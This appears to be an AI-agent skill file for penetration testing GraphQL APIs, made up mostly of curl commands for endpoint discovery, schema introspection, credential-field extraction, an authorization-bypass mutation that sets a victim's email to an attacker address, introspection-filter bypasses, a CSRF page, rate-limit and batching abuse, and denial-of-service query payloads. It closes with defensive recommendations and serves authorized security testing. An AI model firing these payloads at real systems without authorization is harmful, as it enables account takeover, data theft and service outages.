Hacktricks-skills graphql-pentest
Security testing for GraphQL endpoints. Use this skill whenever you need to test GraphQL APIs for vulnerabilities, enumerate schemas, detect exposed endpoints, or assess security configurations. Trigger this skill for any GraphQL security assessment, penetration testing, or API security review involving GraphQL endpoints.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/pentesting-web/graphql/SKILL.MDGraphQL Security Testing
A comprehensive skill for security testing GraphQL endpoints, from initial discovery through vulnerability assessment.
Quick Start
# Detect if a URL hosts GraphQL curl -s -X POST -H "Content-Type: application/json" \ -d '{"query": "{__typename}"}' https://target.com/graphql # Expected response for GraphQL endpoint: # {"data": {"__typename": "Query"}}
Workflow
1. Discovery and Fingerprinting
Find GraphQL endpoints by testing common paths:
/graphql/graphiql/graphql.php/graphql/console/api/api/graphql/graphql/api/graphql/graphql
Fingerprint the GraphQL engine using graphw00f:
pip install graphw00f graphw00f https://target.com/graphql
This identifies the backend (Apollo, GraphQL-Java, async-graphql, etc.) which helps prioritize known vulnerabilities.
2. Introspection Enumeration
Check if introspection is enabled:
# Basic schema query curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{__schema{types{name}}}"}' https://target.com/graphql # Full schema with fields and arguments curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name,kind}}}}}}}"}' https://target.com/graphql
Use the bundled script for automated introspection:
./scripts/graphql-introspect.sh https://target.com/graphql
Visualize the schema with GraphQL Voyager if introspection is enabled.
3. Test Error Handling
Check if errors leak sensitive information:
# Empty query curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{}"}' https://target.com/graphql # Invalid field curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{thisdefinitelydoesnotexist}"}' https://target.com/graphql
Verbose errors can reveal schema details, field names, and internal logic.
4. Query Enumeration
Identify queryable objects from the schema. Look for
queryType in introspection results.
Extract data by querying exposed fields:
# Query a simple object curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{flags{name,value}}"}' https://target.com/graphql # Query with arguments (brute force IDs if needed) curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{user(uid:1){username,password}}"}' https://target.com/graphql
Search for empty string bypass - some APIs dump all data when searching with empty strings:
# If you can search by string field curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{theusers(description:""){username,password}}"}' https://target.com/graphql
5. Mutation Testing
Find mutations in the schema (look for
mutationType in introspection).
Test mutation operations:
# Example: add a movie curl -X POST -H "Content-Type: application/json" \ -d '{"query": "mutation{addMovie(name:\"Test\",rating:\"5.0/10\",releaseYear:2024){name,rating}}"}' https://target.com/graphql
Test authorization bypass - try modifying other users' data:
# Attempt to update another user's profile curl -X POST -H "Content-Type: application/json" \ -d '{"operationName":"updateProfile","variables":{"username":"victim","data":{"email":"hacker@evil.com"}},"query":"mutation updateProfile($username:String!,$data:ProfileInput!){updateProfile(username:$username,data:$data){id}}"}' https://target.com/graphql
6. Bypass Introspection Defenses
If introspection is blocked, try these bypasses:
Add whitespace/newlines after
:__schema
curl -X POST -H "Content-Type: application/json" \ -d '{"query": "query{__schema\n{queryType{name}}}"}' https://target.com/graphql
Try GET requests:
curl -s "https://target.com/graphql?query={__schema{types{name}}}"
Try form-urlencoded POST:
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" \ -d 'query={__schema{types{name}}}' https://target.com/graphql
Use schema reconstruction tools:
- Clairvoyance - Reconstructs schema from error messages
- GraphQuail - Burp extension that builds schema from observed queries
- InQL - Advanced GraphQL testing with schema bruteforcing
7. Test for Common Vulnerabilities
CSRF - Test if form-urlencoded POST is accepted without CSRF tokens:
# Create a CSRF test page cat > csrf_test.html << 'EOF' <form action="https://target.com/graphql" method="POST"> <input type="hidden" name="query" value='{"mutation":"addMovie(name:\"Hacked\",rating:\"1/10\")"}'> </form> EOF
Rate limit bypass with aliases:
curl -X POST -H "Content-Type: application/json" \ -d '{"query": "query{check1:isValidDiscount(code:1){valid}check2:isValidDiscount(code:2){valid}check3:isValidDiscount(code:3){valid}}"}' https://target.com/graphql
Batching attacks - Send multiple queries in one request:
curl -X POST -H "Content-Type: application/json" \ -d '[{"query":"{__typename}"},{"query":"{__typename}"},{"query":"{__typename}"}]' https://target.com/graphql
8. DoS Testing
Use the bundled script to generate DoS payloads:
./scripts/graphql-dos-payloads.sh
Alias overloading - Repeat fields with aliases:
# Generates 100+ aliases for the same field curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{a1:__typename a2:__typename a3:__typename ...}"}' https://target.com/graphql
Directive overloading - Repeat directives:
curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{__typename @include(if:true) @include(if:true) @include(if:true)}"}' https://target.com/graphql
Field duplication - Repeat the same field:
curl -X POST -H "Content-Type: application/json" \ -d '{"query": "{__typename __typename __typename ...}"}' https://target.com/graphql
9. WebSocket Testing
Check for GraphQL over WebSocket which might bypass WAF:
// Test WebSocket connection ws = new WebSocket("wss://target.com/graphql", "graphql-ws") ws.onopen = function() { ws.send(JSON.stringify({ type: "GQL.START", id: "1", payload: { query: "{__schema{types{name}}}"} })) }
10. Check for Known CVEs
After fingerprinting, check for known vulnerabilities:
| CVE | Affected | Test |
|---|---|---|
| CVE-2024-47614 | async-graphql < 7.0.10 | Directive overload with |
| CVE-2024-40094 | graphql-java < 19.11 | Recursive fragment bypass |
| CVE-2023-23684 | WPGraphQL ≤ 1.14.5 | SSRF via mutation |
Tools
Essential tools for GraphQL testing:
| Tool | Purpose |
|---|---|
| graphw00f | Engine fingerprinting |
| graphql-cop | Misconfiguration testing |
| InQL | Advanced testing, schema bruteforcing |
| GraphCrawler | Schema enumeration, auth testing |
| batchql | Batch query testing |
| clairvoyance | Schema reconstruction |
| GraphQLmap | CLI client with attack automation |
Defensive Recommendations
For developers securing GraphQL endpoints:
- Disable introspection in production
- Implement rate limiting per IP and per user
- Use CSRF tokens for all mutations
- Validate and sanitize all inputs
- Implement query depth/complexity limits
- Use graphql-armor middleware for automatic protection
- Enable proper authentication and authorization
- Log and monitor for unusual query patterns
References
- GraphQL Threat Matrix
- PortSwigger GraphQL Security
- PayloadsAllTheThings - GraphQL
- graphql-armor - Defensive middleware